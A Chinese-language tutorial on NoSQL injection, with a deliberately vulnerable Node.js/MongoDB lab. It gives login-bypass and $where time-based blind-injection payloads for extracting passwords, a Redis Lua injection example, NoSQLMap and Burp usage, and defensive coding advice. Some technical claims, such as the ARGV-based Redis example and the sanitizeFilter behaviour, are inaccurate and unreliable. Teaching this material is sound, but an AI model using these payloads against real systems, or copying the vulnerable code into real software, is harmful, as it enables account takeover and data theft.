NoSQL注入实战指南：从原理到防御的完整攻防手册

1. 项目概述：为什么NoSQL注入值得你投入精力

如果你还在把数据库安全的目光仅仅锁定在传统的SQL注入上，那可能已经落后了。随着MongoDB、Redis、Cassandra等NoSQL数据库在Web应用、移动后端和物联网平台中的大规模应用，一种新的攻击面——NoSQL注入，正悄然成为渗透测试人员和开发者必须正视的威胁。我最初接触这个概念时，也以为它只是SQL注入的一个“变种”，但深入实践后发现，它的攻击手法、利用场景和防御策略都自成体系，甚至在某些场景下比SQL注入更隐蔽、更危险。

这个“终极指南”项目，就是把我过去几年在渗透测试和代码审计中，针对MongoDB、Redis等主流NoSQL数据库的注入实战经验，进行一次系统性的梳理和输出。它不仅仅是一份漏洞列表，更是一套从环境搭建、原理理解、手工探测到自动化利用的完整方法论。你会发现，很多应用明明做了完善的SQL注入防护，却因为一个$where操作符或一个JSON解析逻辑，在NoSQL层面门户大开。通过这个教程，无论是安全研究员想丰富自己的武器库，还是后端开发者想加固自己的应用，都能获得即学即用的干货。接下来，我会从NoSQL注入的独特之处讲起，带你一步步构建完整的知识体系和实操能力。

2. NoSQL注入的核心原理与独特攻击面

要理解NoSQL注入，首先得跳出SQL注入的思维定式。SQL注入的本质是攻击者通过注入特殊字符，改变了原SQL语句的结构和逻辑。而NoSQL注入，尤其是针对像MongoDB这类基于JSON查询的数据库，攻击者往往是在尝试改变查询的语义或操作符逻辑。

2.1 与SQL注入的本质区别

SQL数据库使用结构化查询语言，语句有清晰的语法边界（如引号、分号）。注入的关键在于“逃逸”这些边界。而许多NoSQL查询使用API调用或类JSON对象（如MongoDB的BSON）来构建，攻击者注入的是一个操作符或一个完整的查询片段。

举个例子，一个用户登录的SQL查询可能是：

SELECT * FROM users WHERE username = ‘$username’ AND password = ‘$password’

注入admin’--可以注释掉密码验证。

而在MongoDB中，一个类似的查询可能由后端代码这样构建（以Node.js为例）：

db.users.findOne({username: req.body.username, password: req.body.password})

看起来更安全？如果后端没有对req.body进行类型强校验，攻击者发送的POST body可以是：

{ “username”: {“$ne”: null}, “password”: {“$ne”: null} }

这个JSON对象会被直接传入findOne方法。MongoDB会将其解释为：查找username字段不等于null并且password字段不等于null的记录。这很可能返回数据库中的第一个用户（比如管理员），从而实现未授权登录。这里，攻击者没有“逃逸”，而是“覆盖”或“扩展”了查询条件。

2.2 主要攻击向量分类

根据注入点和利用方式，NoSQL注入主要可以分为以下几类，理解它们是后续实战的基础：

1. 操作符注入：这是最常见的一类。攻击者将数据输入篡改为包含查询操作符（如MongoDB的$ne,$gt,$regex,$where）的对象，而非简单的字符串或数字。上面登录绕过的例子就是典型的操作符注入。
2. JSON注入：当应用层将用户输入字符串解析为JSON对象，再传递给数据库查询时，如果解析过程不安全，就会产生此问题。例如，用户输入“username”: “admin”, “$where”: “sleep(5000)”，如果整个字符串被JSON.parse()后传入查询，就可能触发基于时间的盲注。
3. 数组注入：利用某些操作符（如$in,$nin）接受数组作为参数的特性。例如，一个根据ID列表查询产品的API，预期输入是{“id”: [“1”, “2”]}，但攻击者可能注入{“id”: {“$in”: [“1”, “2”]}}来尝试探测逻辑差异，或结合其他操作符进行布尔盲注。
4. 命令注入：主要针对Redis这类兼具数据库和命令执行能力的服务。如果应用不当，通过Redis协议执行的用户输入可能直接导致远程代码执行（RCE）。例如，通过注入换行符\n来拼接多条Redis命令。
5. ORM/ODM注入：即使使用了像Mongoose（MongoDB的ODM），如果开发者不安全地使用$where、mapReduce或直接将用户对象传入查询方法，风险依然存在。例如Model.find(req.query)这种写法就是高危的。

注意：很多现代Web框架（如Express.js的body-parser）默认会解析JSON请求体，这本身不是漏洞。漏洞的根源在于开发者盲目信任了客户端传来的、已解析好的对象，并直接将其用于数据库查询，而没有进行白名单过滤或类型转换。

2.3 漏洞产生的根本原因

归根结底，NoSQL注入漏洞源于两个“信任”问题：

• 对客户端数据的过度信任：认为前端传来的JSON结构或参数值一定是符合预期的标量值（字符串、数字），而忽略了客户端可以被完全操控的事实。
• 对NoSQL“更安全”的误解：认为不使用SQL拼接就万事大吉，却忽略了NoSQL查询API同样接受复杂的查询对象，这些对象如果来自不可信的源，其危险性与SQL字符串拼接无异。

3. 实战环境搭建与靶场配置

光说不练假把式。要真正掌握NoSQL注入，一个隔离的、可随意破坏的实战环境必不可少。我推荐使用Docker Compose来一键搭建一个包含漏洞应用和数据库的完整靶场，这比在本地直接安装配置要干净和方便得多。

3.1 基于Docker的靶场部署

这里我以最经典的MongoDB和Node.js漏洞应用为例。首先，确保你的系统已经安装了Docker和Docker Compose。

创建一个项目目录，比如nosql-injection-lab，并在其中创建docker-compose.yml文件：

version: ‘3.8’ services: mongodb: image: mongo:latest container_name: nosql-mongodb restart: unless-stopped ports: - “27017:27017” volumes: - ./mongo-data:/data/db environment: - MONGO_INITDB_ROOT_USERNAME=admin - MONGO_INITDB_ROOT_PASSWORD=secretpassword vulnerable-app: build: ./app container_name: nosql-vuln-app restart: unless-stopped ports: - “3000:3000” depends_on: - mongodb environment: - MONGO_URI=mongodb://admin:secretpassword@mongodb:27017/vulndb?authSource=admin

这个配置定义了两个服务：一个MongoDB数据库实例，和一个待会我们要构建的漏洞应用。数据库设置了初始根用户，并将数据持久化到本地的mongo-data目录。

接下来，在app目录下创建漏洞应用。这里是一个极简的、存在NoSQL注入漏洞的Node.js Express应用。创建app/Dockerfile：

FROM node:18-alpine WORKDIR /usr/src/app COPY package*.json ./ RUN npm install COPY . . EXPOSE 3000 CMD [“node”, “server.js”]

创建app/package.json：

{ “name”: “vulnerable-nosql-app”, “version”: “1.0.0”, “description”: “A vulnerable app for NoSQL injection practice”, “main”: “server.js”, “scripts”: { “start”: “node server.js” }, “dependencies”: { “express”: “^4.18.2”, “mongoose”: “^7.5.0”, “body-parser”: “^1.20.2” } }

最后，创建存在漏洞的核心文件app/server.js：

const express = require(‘express’); const mongoose = require(‘mongoose’); const bodyParser = require(‘body-parser’); const app = express(); app.use(bodyParser.json()); // 关键：这里会自动解析JSON请求体 // 连接MongoDB mongoose.connect(process.env.MONGO_URI); // 定义用户模型 const UserSchema = new mongoose.Schema({ username: String, password: String, isAdmin: Boolean }); const User = mongoose.model(‘User’, UserSchema); // 漏洞1：登录接口 - 直接使用req.body进行查询 app.post(‘/login’, async (req, res) => { try { // 高危！直接将客户端传来的整个对象作为查询条件 const user = await User.findOne(req.body); if (user) { res.json({ message: ‘Login successful’, user: { username: user.username, isAdmin: user.isAdmin } }); } else { res.status(401).json({ message: ‘Invalid credentials’ }); } } catch (err) { res.status(500).json({ error: err.message }); } }); // 漏洞2：用户搜索接口 - 使用$where操作符且未过滤输入 app.get(‘/search’, async (req, res) => { const username = req.query.username || ‘’; try { // 高危！将用户输入直接拼接进$where的JavaScript字符串中 const users = await User.find({ $where: `this.username == ‘${username}’` }); res.json(users); } catch (err) { res.status(500).json({ error: err.message }); } }); // 初始化数据库，插入一些测试数据 async function initDB() { await User.deleteMany({}); await User.create([ { username: ‘alice’, password: ‘alicepass123’, isAdmin: false }, { username: ‘bob’, password: ‘bobpass456’, isAdmin: false }, { username: ‘admin’, password: ‘StrongAdminP@ss!’, isAdmin: true } ]); console.log(‘Test data inserted.’); } app.listen(3000, async () => { console.log(‘Vulnerable app listening on port 3000’); await mongoose.connection.asPromise(); await initDB(); });

3.2 启动与初始化

在项目根目录（nosql-injection-lab）下，执行命令：

docker-compose up --build

等待构建和启动完成。你应该能看到MongoDB和Node.js应用成功运行，并且测试数据（alice, bob, admin）被插入数据库。

现在，访问http://localhost:3000，你的漏洞靶场就已经准备就绪了。这个应用故意留下了两个典型的NoSQL注入漏洞：一个是登录接口的直接对象注入，另一个是搜索接口的$where子句注入。

实操心得：使用Docker搭建靶场的好处是环境完全隔离，练习结束后一句docker-compose down -v就能清理所有痕迹，包括数据库数据。--build参数确保每次启动都使用最新的代码。在实际学习或教学时，我强烈建议采用这种方式，避免污染本地环境。

4. 手工探测与利用技巧详解

有了靶场，我们就可以开始“进攻”了。手工探测是理解漏洞本质的最佳方式，它能让你直观地感受到攻击是如何生效的。我们将针对靶场中的两个漏洞点进行实战。

4.1 漏洞点一：登录接口的操作符注入

这个接口的预期请求是：

POST /login Content-Type: application/json { “username”: “alice”, “password”: “alicepass123” }

探测步骤：

1. 基础绕过：我们尝试不使用正确的密码，而是注入一个查询操作符。发送以下请求：

   { “username”: {“$ne”: null}, “password”: {“$ne”: null} }

   这个查询条件的意思是：“查找username字段不为null且password字段不为null的用户”。由于我们数据库中的所有用户都满足这个条件，findOne方法会返回它找到的第一个文档（可能是alice，也可能是admin，取决于存储顺序）。这通常能绕过登录验证。

2. 精准定位管理员：如果我们想直接登录管理员账户，可以结合$regex操作符进行猜测。例如，我们知道管理员用户名可能是“admin”。可以发送：

   { “username”: {“$regex”: “^admin$”}, “password”: {“$ne”: null} }

   或者，如果不知道具体用户名，但知道管理员账户的isAdmin字段为true，可以尝试：

   { “username”: {“$ne”: null}, “password”: {“$ne”: null}, “isAdmin”: true }

   注意：这能成功的前提是，开发者错误地将整个req.body传入查询，并且模型允许查询isAdmin字段。如果后端代码是User.findOne({username: req.body.username, password: req.body.password})，那么注入isAdmin字段是无效的，因为它不在查询条件范围内。这就是为什么手工测试时需要不断尝试和观察响应。

3. 利用布尔逻辑：MongoDB的查询对象支持复杂的逻辑操作符，如$or。可以尝试：

   { “$or”: [ {“username”: “admin”, “password”: {“$ne”: null}}, {“username”: “alice”, “password”: “alicepass123”} ] }

   这个查询会尝试匹配两个条件中的任意一个，增加了绕过成功率。

手工探测时，我常用的工具是Burp Suite的Repeater模块或者命令行下的curl。使用curl的示例：

curl -X POST http://localhost:3000/login \ -H “Content-Type: application/json” \ -d ‘{“username”: {“$ne”: null}, “password”: {“$ne”: null}}’

4.2 漏洞点二：搜索接口的$where注入

这个接口的预期请求是：

GET /search?username=alice

$where操作符允许执行JavaScript字符串，这给了我们巨大的操作空间，可以实现类似SQL注入中联合查询、条件判断等复杂攻击。

探测与利用步骤：

1. 基础确认：首先测试注入点是否有效。尝试访问：

   /search?username=alice‘%2b’1

   或者更直接地，利用JavaScript注释：

   /search?username=alice‘ // 注释掉后面

   如果应用报错（显示JavaScript语法错误），则基本确认存在注入。我们的靶场构造的查询是`this.username == ‘${username}’`，所以注入一个单引号会破坏字符串语法。

2. 布尔盲注：$where可以执行任意JS代码，我们可以构造条件语句来逐字符提取信息。例如，判断管理员密码的第一个字符的ASCII码是否大于100：

   /search?username=alice‘ && this.username == ‘admin’ && this.password.charCodeAt(0) > 100 || ‘a’==’b

   注入后的查询逻辑是：this.username == ‘alice’ && this.username == ‘admin’ && this.password.charCodeAt(0) > 100 || ‘a’==’b。

   • 由于alice不是admin，this.username == ‘admin’为false，导致整个&&表达式短路为false。
   • 接着执行|| ‘a’==’b’，这也是false。
   • 最终整个$where条件为false，查询不到任何用户，返回空数组[]。 如果我们将条件改为this.password.charCodeAt(0) < 100，并且这个条件为真，那么false && true仍然是false，结果不变。为了构造一个能根据条件返回不同结果的查询，需要更巧妙的逻辑。一个更可靠的方法是让注入的代码直接影响返回结果本身，但这在$where中较难实现。通常，$where注入更适合时间盲注。

3. 时间盲注：这是$where注入最强大的利用方式之一。我们可以使用sleep或循环函数来制造延迟，通过响应时间判断条件真假。

   /search?username=alice‘ && (function(){ var d = new Date(); while(new Date() - d < 5000){;} return true; })() && ‘1‘==’1

   这个注入会执行一个空循环5秒钟。如果页面响应大约延迟了5秒，说明注入的JS代码被执行了。我们可以利用这个特性进行盲注：

   /search?username=alice‘ && (function(){ if(this.username == ‘admin’ && this.password.charCodeAt(0) > 100){ var d = new Date(); while(new Date() - d < 3000){;} } return true; })() && ‘1‘==’1

   这个Payload的意思是：如果当前文档的用户名是admin并且其密码的第一个字符ASCII码大于100，则延迟3秒。通过测量响应时间，我们就可以逐位推断出管理员密码。

注意事项：$where注入的利用非常灵活，但也受到MongoDB服务器端JavaScript引擎的限制（通常是V8）。一些复杂的操作或过长的循环可能导致查询被终止。在实际测试中，时间延迟要设置得合理（如2-5秒），并注意目标应用的超时设置。

5. 自动化工具链与高级利用

手工探测能加深理解，但在真实的安全评估中，效率至关重要。我们需要借助自动化工具来加速漏洞发现和利用过程。这里介绍几个我常用的工具和技巧。

5.1 专用扫描工具：NoSQLMap与NoSQLInjectionAttack

• NoSQLMap：这是一个用Python编写的开源工具，灵感来源于SQLMap，但专门针对NoSQL数据库。它可以自动化进行注入检测、数据提取甚至接管数据库服务器。

  • 安装：git clone https://github.com/codingo/NoSQLMap.git
  • 基本使用：对于我们的登录接口，可以这样使用：

    python nosqlmap.py -u “http://localhost:3000/login” --data ‘{“username”: “test”, “password”: “test”}’ --method POST -H “Content-Type: application/json” --json

    工具会自动将test替换为各种NoSQL操作符Payload进行测试。
  • 优点：Payload库丰富，支持MongoDB、CouchDB等，能自动识别数据库类型。
  • 缺点：项目活跃度一般，对复杂JSON结构的处理有时不够智能。

• NoSQLInjectionAttack：这是一个较新的工具，有时能检测出其他工具遗漏的漏洞点。它可以作为Burp Suite的插件使用，集成到工作流中非常方便。

我的经验是，不要完全依赖自动化工具。它们对于快速筛选潜在注入点非常有用，但误报和漏报时有发生。工具报告漏洞后，一定要用手工复现一遍，理解其触发原理，并尝试挖掘工具未能发现的更深层次的利用方式。

5.2 集成到Burp Suite工作流

Burp Suite是Web安全测试的瑞士军刀。我们可以通过以下方式将NoSQL注入测试集成进去：

1. 使用Intruder进行模糊测试：对于JSON参数，可以设置多个插入点。例如，对{“username”: “§test§”, “password”: “§test§”}，使用Intruder的“Cluster bomb”攻击类型，加载两份Payload列表：一份是普通字符串，另一份是NoSQL操作符Payload（如{“$ne”: null},{“$gt”: “”},{“$regex”: “^a”}等）。通过观察响应长度、状态码和内容的变化，快速识别出可能存在注入的参数。

2. 定制Scanner检查项：Burp的主动扫描器主要针对SQL注入和XSS。对于NoSQL注入，我们可以编写自定义的扫描检查（需要Burp Extender API）。思路是向JSON参数中插入特定的操作符Payload，然后检查响应中是否出现了非预期的数据（如其他用户信息）、逻辑绕过（如使用错误密码返回成功）或错误信息泄露。

3. 利用Logger++和Match/Replace：这是一个强大的Burp插件。可以配置规则，自动将所有出站的JSON请求中的特定参数值替换为测试Payload。例如，将所有password字段的值自动替换为{“$ne”: null}，这样在手动浏览测试网站时，所有的登录尝试都会自动变成注入测试，极大提高了效率。

5.3 针对Redis的命令注入利用

Redis的注入是另一大主题。假设一个应用将用户输入直接用于EVAL命令或通过redis.call()执行。一个经典的测试Payload是注入换行符来分隔命令。

例如，一个脆弱的代码可能这样写（伪代码）：

user_input = get_param(‘key’) result = redis_client.eval（“return redis.call(‘GET’, ARGV[1])”, 0, user_input)

攻击者可以提交key值为：mykey\”)\nredis.call(‘SET’, ‘hacked’, ‘yes’)\nreturn(“这可能导致执行的Lua脚本变为：

return redis.call(‘GET’, ARGV[1]) redis.call(‘SET’, ‘hacked’, ‘yes’) return(

从而执行了额外的SET命令。

自动化测试Redis注入，可以使用redis-cli手动连接，或者编写简单的Python脚本，使用redis库来发送包含恶意换行符或括号的Payload，观察返回结果或检查Redis中是否写入了未经授权的键值。

6. 防御策略与安全编码实践

知道了如何攻击，才能更好地防御。防御NoSQL注入的核心思想与SQL注入类似：永远不要信任用户输入，但具体做法因NoSQL的特性而有所不同。

6.1 输入验证与类型强制转换

这是第一道，也是最重要的防线。

• 白名单验证：对于期望为简单类型的字段（如用户名、ID），在后端代码中强制将其转换为字符串或数字。

  // 错误示范 const user = await User.findOne(req.body); // 正确示范 const username = String(req.body.username); // 强制转为字符串 const password = String(req.body.password); const user = await User.findOne({ username, password });

  这样，即使攻击者传入{“$ne”: null}，经过String()转换后，查询条件就变成了{ username: “[object Object]”, password: “[object Object]” }，无法匹配任何记录。

• 使用严格的Schema验证：在Mongoose中，充分利用Schema的验证功能。可以为字段指定类型、枚举值等。

  const UserSchema = new mongoose.Schema({ username: { type: String, required: true, match: /^[a-zA-Z0-9_]+$/ }, // 只允许字母数字下划线 password: { type: String, required: true }, age: { type: Number, min: 0 } });

  在查询前，使用Mongoose的cast或验证功能，可以过滤掉不符合Schema的数据结构。

6.2 安全的查询构建方式

• 避免直接传递用户对象：这是最根本的原则。永远不要将req.body、req.query或req.params直接传递给查询方法。
• 显式指定查询字段：明确列出查询中要使用的字段和值。

  // 安全 const { id, category } = req.query; const query = {}; if (id) query._id = mongoose.Types.ObjectId(id); // 注意ObjectId转换 if (category) query.category = category; const products = await Product.find(query);

• 谨慎使用$where和mapReduce：尽量避免使用$where操作符。如果非用不可，绝对不要将用户输入拼接进JavaScript字符串。可以考虑使用Function构造函数在沙盒环境（如果存在）中执行，但最佳实践是寻找等价的、不依赖JS的查询操作符（如$expr）来替代。

  // 高危！ const users = await User.find({ $where: `this.username == ‘${username}’` }); // 相对安全（如果username是严格验证过的字符串） const users = await User.find({ username: username }); // 如果需要复杂逻辑，使用$expr const users = await User.find({ $expr: { $eq: [“$username”, username] } });

6.3 使用ORM/ODM的安全功能

以Mongoose为例，它提供了一些内置的保护机制，但需要正确使用。

• sanitizeFilter选项（Mongoose 6+）：这是一个强大的安全特性。启用后，Mongoose会默认过滤掉查询中所有非Schema定义的字段（即以$开头或包含.的操作符），除非显式允许。

  mongoose.set(‘sanitizeFilter’, true); // 全局启用 // 现在，即使req.body包含{“username”: {“$ne”: null}}，传入findOne后，$ne操作符会被自动过滤掉，查询变成{username: {}}，是无效的。

  注意：这不能完全防御所有情况，例如用户输入一个合法的Schema字段名但值是一个操作符对象，它可能不会被过滤。因此，它应作为深度防御的一环，而非唯一手段。

• 使用Model的静态方法：相比于直接使用db.collection，通过Model进行查询能更好地利用Schema的约束和中间件。

6.4 其他深度防御措施

• 最小权限原则：为应用程序连接数据库的账户分配最小必需的权限。例如，一个只读的查询应用，就不要给它写权限。在MongoDB中，创建只能访问特定数据库、只有find权限的角色。
• 网络层隔离：将数据库部署在内网，禁止公网直接访问。只允许应用服务器通过特定的端口访问。
• 日志与监控：启用数据库的审计日志，记录所有查询操作。监控查询模式，对短时间内出现大量异常操作符（如大量$where、$regex）的查询进行告警。
• 定期安全评估：将NoSQL注入测试纳入应用的常规安全测试（SAST/DAST）和渗透测试范围。使用前面提到的自动化工具进行扫描。

7. 常见问题与排查技巧实录

在实际测试和防御中，你会遇到各种各样的问题。这里记录了一些我踩过的坑和总结的技巧。

7.1 测试时遇到的典型问题及解决

7.2 防御实施中的陷阱

• 过度依赖黑名单：试图过滤掉所有$开头的键名是徒劳的。攻击者可能使用编码、嵌套对象或其他方式绕过。白名单是唯一可靠的方法。
• 忽略了嵌套对象和数组：验证和过滤不能只做一层。如果允许用户提交嵌套的JSON对象，必须递归地对所有层级进行类型检查。

  // 用户输入: {“filter”: {“tags”: {“$in”: [“popular”, “vip”]}}} // 如果只检查了第一层，filter.tags.$in 就会被放过。

• 错误使用ObjectId转换：试图用mongoose.Types.ObjectId(id)来防御注入是危险的。如果转换失败（例如id不是合法的24位十六进制字符串），它会抛出一个异常，可能导致应用崩溃（DoS）。一定要先验证格式，再尝试转换。

  const { id } = req.params; if (!id || !/^[0-9a-fA-F]{24}$/.test(id)) { return res.status(400).json({ error: ‘Invalid ID format’ }); } const query = { _id: new mongoose.Types.ObjectId(id) }; // 现在安全了

7.3 高级技巧：从注入到信息泄露与RCE

在某些复杂场景下，NoSQL注入可能只是跳板。

1. 结合SSRF：如果注入点允许控制数据库连接字符串（极少见，但在某些配置工具或调试接口中可能存在），可以尝试利用MongoDB连接字符串的某些特性进行服务器端请求伪造（SSRF），攻击内网其他服务。
2. MongoDB的$function与$accumulator：在聚合管道中，这些操作符也可能执行JavaScript。它们的利用方式与$where类似，但出现在不同的上下文中。
3. 从数据泄露到代码执行：通过注入提取出应用源码（如果错误地存储在数据库中）、配置文件或密钥，再结合其他漏洞（如反序列化、模板注入）实现RCE。例如，窃取了Redis中存储的Session序列化数据或敏感配置。

8. 实战案例深度剖析：一个真实的逻辑漏洞组合拳

最后，我想分享一个在内部渗透测试中遇到的真实案例（已脱敏），它展示了NoSQL注入如何与其他逻辑缺陷结合，造成严重破坏。

目标：一个使用MongoDB的Node.js用户管理后台，提供了用户查询API。接口：POST /api/users/query，接受一个复杂的JSON查询对象。预期请求：

{ “filters”: { “status”: “active”, “department”: “engineering” }, “sort”: {“joinDate”: -1} }

漏洞发现：

1. 初步测试发现，filters参数直接传入Model.find()。尝试注入{“status”: {“$ne”: “inactive”}}，成功返回了所有非inactive状态的用户，确认存在操作符注入。
2. 进一步测试发现，sort参数也被直接传入Model.find().sort()。MongoDB的sort()方法同样接受对象。我尝试了{“$ne”: null}，但无效。
3. 关键突破：我注意到，除了用户数据，这个应用还有一个SystemConfig集合，存储了邮件服务器SMTP密码、API密钥等敏感配置。默认情况下，查询API只能查询User集合。
4. 利用聚合管道注入：我研究了Mongoose的aggregate()方法，发现如果应用使用了类似Model.aggregate(req.body.pipeline)的不安全代码，攻击者可能控制整个聚合管道。但这里没有。
5. 最终利用：我回到filters参数。我发现，当查询条件中包含$where时，在$where的JavaScript上下文中，this指向当前文档。我能否通过this.constructor访问到其他模型？经过测试，在Mongoose的$where中，this是普通的JS对象，没有Mongoose文档的方法。但是，我发现了另一个特性：如果应用全局启用了lean()选项（返回纯JS对象而非Mongoose文档），并且在查询时没有正确处理，可能会暴露更多信息。然而，这并未直接通向目标。
6. 逻辑缺陷组合：最终，我通过另一个完全不同的路径——一个未授权访问的调试端点GET /api/debug/config，直接获取到了SystemConfig的完整内容。这个端点本应只在开发环境开启，但错误地部署到了生产环境。而发现这个端点，正是因为我通过用户查询接口的注入，提取到了一个内部错误信息，其中包含了一个不常见的API路径片段/debug/，给了我枚举的线索。

教训：

1. NoSQL注入点本身可能无法直接“脱裤”，但它往往是发现系统内部结构、错误信息和其他脆弱接口的绝佳入口。
2. 安全是一个整体。一个地方的不安全查询，可能暴露其他更严重漏洞的蛛丝马迹。
3. 永远不要在生产环境开启调试接口或输出详细错误。